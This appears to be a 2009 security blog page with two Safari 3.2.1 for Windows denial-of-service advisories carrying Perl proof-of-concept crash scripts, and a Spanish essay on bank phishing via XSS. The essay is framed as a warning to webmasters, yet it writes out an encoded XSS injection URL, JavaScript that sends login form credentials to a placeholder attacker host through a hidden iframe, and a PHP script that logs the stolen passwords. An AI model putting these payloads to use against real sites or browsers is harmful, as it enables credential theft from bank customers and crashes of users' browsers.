Safari 3.2.1 for windows SafariURL protocol Handler abusse(null Deference)

Saturday, January 31, 2009
##############################################
Safari 3.2.1 for windows safariUrl protocol Handler abusse(null Deference)
Vendor:http://www.apple.com
original advisore:http://lostmon.blogspot.com/2009/01/
safari-321-for-windows-safariurl.html
vendor notify:YES Exploit available: Private
##############################################

This article is a "second" part of :
http://lostmon.blogspot.com/2009/01/safari-for-windows-321-remote-http-uri.html

Safari for windows in prone vulnerable to a null pointer deference
in protocols handlers http, ftp and SafariURL.

The issue is triggered when a user in click a specially crafted link
with malformed uri that causess a NULL pointer derefence safari,
and will result in loss of availability for the browser.

In the case of SafariURL is very curious, because we can compose
a malformed url like SafariIRL://../ or SafariURL://http://../ or
ftp://../ and wen try to open it whith safari,safari opens a new
windows , and wen we try to close this new one,clicking in the
'X' the window is closed, but it reopens again ...

sO why it opens again in a infinite loop?
Take a look of posible source code of the fucnction.
in any place of the code before using a pointer,
it check that it is not equal to NULL:

######################
Part of code affected
######################

CFURLRef safariURL = nil;
OSStatus err = LSFindApplicationForInfo(kLSUnknownCreator, CFSTR("com.apple.Safari"), nil, nil, &safariURL);if (err != noErr)
displayErrorAndQuit(@"Unable to locate Safari", @"Nightly builds of WebKit require Safari to run. Please check that it is available and then try again.");
NSBundle *safariBundle = [NSBundle bundleWithPath:[(NSURL *)safariURL path]];
CFRelease(safariURL);
return safariBundle; }

###############################

Simple PoC


################################################
# !/usr/bin/perl
# Safari_httpDoSPoc.pl
# Safari for Windows 3.2.1 Remote http: uri handler DoS
# Lostmon [Lostmon@gmail.com ]
#[http://lostmon.blogspot.com]


$archivo = $ARGV[0];
if(!defined($archivo))
{

print "Uso: $0 <archivo.html>\n";

}

$cabecera = "<html><Title> Safari 3.2.1 for windows Browser Die PoC By Lostmon</title>
<body>" . "\n";
$codigo = "<h3>Safari 3.2.1 for windows Browser Die PoC By Lostmon <br>(lostmon@gmail.com) http://lostmon.blogspot.com</h3>
<P>This PoC is a malformed http ,safariurl and ftp URI, this causes that safari for windows<br>
turn inestable and unresponsive.<br>
Click THIS link.=></p><a href=\"SafariURL://http://../\">Safari Die()</a> or this other =><a href=\SafariURL://"http://./\">Safari Die()</a>
<br>
=></p><a href=\"SafariURL://ftp://../\">Safari Die()</a> or this other =><a href=\SafariURL://"ftp://./\">Safari Die()</a>
";
$piepag = "</body></html>";

$datos = $cabecera . $codigo . $piepag;

open(FILE, '>' . $archivo);
print FILE $datos;
close(FILE);

exit;

############################################


I don´t know if it has remote code execution, or other
i make SEVERAL test and only can cause a DoS ,
i don´t know if we can change NSBundle...

this issue with SafariURL can exploit across other browsers.
wen open the link with other browsers it executes safari.exe -url [link]

Thnx To estrella to be my ligth
Thnx to all Lostmon Team.

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Safari for Windows 3.2.1 Remote http: URI handler DoS

Tuesday, January 27, 2009
A "malformed" http domain name , can cause that safari turn in
a infinite loop wen try to resolve this domain, and it can cause
at memory level a access violation wen try to write a secction
that contains unknow data.

See Safari_httpDoSPoc.pl file to demostrate it !

AppName: safari.exe AppVer: 3.525.27.1 ModName: safari.exe
ModVer: 3.525.27.1 Offset: 00089394





################################################
# !/usr/bin/perl
# Safari_httpDoSPoc.pl
# Safari for Windows 3.2.1 Remote http: uri handler DoS
# Lostmon [Lostmon@gmail.com ]
#[http://lostmon.blogspot.com]


$archivo = $ARGV[0];
if(!defined($archivo))
{

print "Uso: $0 <archivo.html>\n";

}

$cabecera = "<html><Title> Safari 3.2.1 for windows Browser Die PoC By Lostmon</title>
<body>" . "\n";
$codigo = "<h3>Safari 3.2.1 for windows Browser Die PoC By Lostmon <br>(lostmon@gmail.com) http://lostmon.blogspot.com</h3>
<P>This PoC is a malformed http URI, this causes that safari for windows<br>
turn inestable and unresponsive.<br>
Click THIS link.=></p><a href=\"http://../\">Safari Die()</a> or this other =><a href=\"http://./\">Safari Die()</a>
";
$piepag = "</body></html>";

$datos = $cabecera . $codigo . $piepag;

open(FILE, '>' . $archivo);
print FILE $datos;
close(FILE);

exit;

############################################


Thnx To estrella to be my ligth
Thnx to all who belive in me...

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

La banca española ante el phishing

Tuesday, January 06, 2009
##########################################
La banca española ante el phishing
##########################################

Despues del aumento reciente de los casos de phishing sobre
entidades Bancarias españolas,he realizado un pequeño estudio
sobre el estado de esas entidades, de cara al phishing.

Entendemos por phishing , el envio de correos fraudulentos
suplantando la identidad de una entidad bancaria, en el cual se
nos avisa de algun fallo de seguridad u otra informacion, y se
nos insta a visitar una url falsa de la entidad (normalmente
camuflan la direccion real),y una vez visitada, se nos pedira
seguramente , nuestras credenciales para acceder,y de hacerlo,
normalmente esas webs estan preparadas para capturar nuestros
datos de acceso.

Todo esto esta bastante bien explicado aqui :
http://www.microsoft.com/latam/seguridad/hogar/spam/phishing.mspx

Una vez entendido el concepto de phishing, podemos pensar,que
hay que ser muy tonto, para visitar una web que no es la original
del banco y meter , nuestras credenciales.

Normalmente es asi , pero que ocurre si esa url desde donde se
lleva a cabo el ataque de phishing es realmente la original del banco?

En una mirada asi por encima se han detectado once entidades
españolas tanto cajas como bancos afectados.

Si desea saber si su entidad esta afectada, mandeme un mail
y gustosamente le informaremos de si esta usted en el listado
y de estar en el , le serian reportadas las vulnerabilidades
encontradas y su posible solucion o mitigacion.

De todas maneras todas las entidades afectadas,recibiran un mail
avisandoles de esta situacion( a algunas ya se le ha enviado).

Pero esto es irse por las ramas y no destapar el meollo de la
cuestion.. XDDDD

Asi pues si ponemos por caso que la mayoria de web corporativas
de entidades bancarias y financieras son vulnerables a ataques de
tipo XSS o CSRF(links a la wiki), esto aumenta la posibilidad de
realizar ataques de phishing sobre la misma web del banco y hacer
asi mas creibles para los usuarios incautos el engaño.


Como puede un atacante que haya encontrado un agujero de ese
tipo llevar a cabo con exito ese ataque?

Lo expuesto acontinuacion esta escrito a titulo de muestra o
ejemplo no me hago responsable del uso que le puedan dar
usuarios malintencionados.

Esto esta mas bien expuesto como ejemplo para administradores
y webmasters a titulo explicativo de como un atacante puede
realizar este tipo de ataques sobre la misma web y hacer asi
mas creible el engaño.
Un server (seguramente comprometido) para recojer los datos y
hostear los archivos necesarios para el phishing (javascripts).
Algun servidor SMTP con el relay abierto y sin autentificacion
Por si queremos hacer uso de funciones de mail()

En un banco, en la web de autentificacion , normalmente
encontramos un formulario en el cual se nos piden los datos
para poder acceder al manejo de cuentas y demas.

Un ejemplo de formulario podria ser similar a este:

====================

====================
[..]
<form method="POST" action="login.php" name="loginusuarios">
User: <input type="text" name="usuari"><br />
Pass: <input type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
[..]
<!-- EOF -->

si observamos el codigo vemos varios elementos:

- Hay un formulario de acceso llamado "loginusuarios"
- El usuario de texto será "loginusuarios.usuari"
- El paso de texto será "loginusuarios.pass"

Por lo tanto,podriamos crear un java a medida para el sitio
para que añadiera un iframe oculto al cuerpo del documento por
medio de xss y obtener asi los datos introducidos.


Un ejemplo podria ser este:



http://[Entidad_victima]/login.php?variable_vulnerable=
"><script src="http://[Attacker]/phishing.js"></script>

o en alguna de sus codificaciones para disimularlo aun mas:

http://[Entidad Victima]/login.php?variable_vulnerable=%22%3E
%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%
5B%41%74%74%61%63%6B%65%72%5D%2F%70%68%69%73%68%69%6E%67%2E%

6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E



El javascript, se ejecutaria en el contexto de seguridad entre
el server, y el navegador del usuario lejitimo de la web.

====================
/* phishing.js */
===================

//Ponemos el nombre del formulario
Form = document.forms["loginusuarios"];


function OcultarLogin() {
// Creamos un nuevo iframe.
var iframe = document.createElement("iframe");

// Forzamos al iframe a que este escondido
iframe.style.display = "none";

// Cargamos el codigo malicioso en el iframe.
iframe.src = "http://[atacante]/pilla_login.php?user="
+ Form.usuari.value + "&pass=" + Form.pass.value;

// Añadimos el iframe en el cuerpo del documento
document.body.appendChild(iframe);
}
// Cuando el usuario clica en enviar, se nos envia esa inf.
Form.onsubmit = OcultarLogin();

/* EOF */
==========================

Despues necesitamos que esos datos sean recojidos, y para
ello necesitaremos un server donde llevar los POST y un
archivo hosteado preparado para recibirlos y guardarlos o
enviarlos por mail ,como queramos.

====================
/* pilla_login.php */
====================


if(isset($_GET['user']) && isset($_GET['pass'])) {
// Establece el path y abre el archivo logins.txt
$file_path = "logins.txt";
$file = @fopen($file_path, "a");
// genera la cadena
$string = "User: ". $_GET['user'] ." and Pass: ". $_GET['pass'] . "\n";
// Escribe la cadena y cierra el archivo.
@fwrite($file, $string);
@fclose($file);
}

// si ademas queremos enviar los datos capturados por mail =>
// mail("atacante@atacante.es","Otro Pardillo pico","$string");
?>
/* EOF */
=================================

Con lo cual un agujero bien simple como puede ser un
XSS puede convertirse en un ataque sofisticado para
realizar un phishing directo a una entidad Bancaria.

Aun podriamos rizar mas el rizo:

Suponiendo que el usuario victima ,no visite la web, o que
cliquee en otro lado y vaya a otra pagina diferente de donde
se encuentra el formulario de login,podriamos "forzarlo" a
ir a la pagina delogin primero,y antes de que realice ninguna
accion, deba introducir primero los datos de login , para
poder acceder.

Esto seria tambien aun mas creible ya que estariamos efectuando
el phishing directamente desde la web de la entidad y ademas
obligamos al user a hacer login con su propio formulario
de login.

Si modificamos el javascript anterior para que haga lo mismo;
pero que ademas fuerce al usuario,creariamos un segundo iframe.
en un iframe cargaremos el codigo malicioso , y en el otro
cargariamos el formulario de login de la web:

=================================
/* phishing2.js */

Form = document.forms["loginusuarios"];
function forzarLogin() {
var loginiframe = document.createElement("iframe");
var loginiframe.src = "http://[Entidad-victima]/login.php";
document.body.appendChild(loginiframe);
}
function OcultarLogin() {
var iframe = document.createElement("iframe");
iframe.style.display = "none";
iframe.src = "http://[Atacante]/pilla_login.php?user="
+ Form.usuari.value + "&pass=" + Form.pass.value;
document.body.appendChild(iframe);
}
window.onload = forzarLogin();
Form.onsubmit = OcultarLogin();

/* EOF */
====================================

Aunque todo lo aqui expuesto es un burdo ejemplo,creo que
queda bien reflejado el alcance y que el resultado, es obvio,
aunque en muchos contratos de banca online , se "firma" que
el usuario no hara un mal uso de las credenciales suministradas
...etc.

Ante un ataque real de phishing...el usuario victima,ni se
habra enterado de lo que ha pasado , ya que en si ha sido
el el que legalmente ha introducido sus credenciales en la
web de la entidad y ha sido desde la web misma de la entidad
desde donde han sido robadas esas claves.

Seguramente los webmasters y programadores de los sitios web
de estas caracteristicas, deberian fijarse mas en este tipo
de agujeros a los cuales no se les da mucha importancia.

Muchas veces , Contratan servicios o sistemas ya prediseñados
como pueden ser alguno de los portales de oracle o algun tipo
de CMS como Vignette CMS;Pero ¿No son resposables los equipos
de seguridad logica que poseen las entidades o que subcontratan?
No deberian esos equipos estar al dia en vulnerabilidades sobre
sus sistemas??

La primera medida para poder luchar contra la plaga que
es el phishing deberia ser mantener nuestros sitios libres
de agujeros o al menos revisarlos y no sacar al mercado ,
nada que no haya sido antees testeado a fondo, Pues es
nuestro dinero con el que en se juega.

Despues de este estudio, dire, que me he quedado muy
decepcionado de lo que es la banca online española,
actualmente, son bastantes las entidades que podrian
estar afectadas.

Los usuarios podrian prevenir estas situaciones usando por
ejemplo Internet explorer 8 que lleva un filtro antiXSS,
aunque personalmente me fio mas de la barra de netcraft,
ademas de que puede ser usada en explorer y en firefox
http://toolbar.netcraft.com/

###############################
Enlaces Relacionados y fuentes:
###############################

http://www.siliconnews.es/es/news/2008/09/22/bancos_espanoles_victimas_5_phishing_mundial
http://www.antiphishing.org
http://www.playhack.net/papers/
http://www.microsoft.com/spain/empresas/legal/phishing.mspx
http://www.microsoft.com/latam/seguridad/hogar/spam/phishing.mspx
http://seguridad.internautas.org/html/4428.html

--

atentamente:
Lostmon (Lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group:http://groups.google.com/group/lostmon (new)
--

La curiosidad es lo que hace mover la mente....
 

Browse

About:Me

My blog:http://lostmon.blogspot.com
Mail:Lostmon@gmail.com
Lostmon Google group
Lostmon@googlegroups.com

La curiosidad es lo que hace
mover la mente...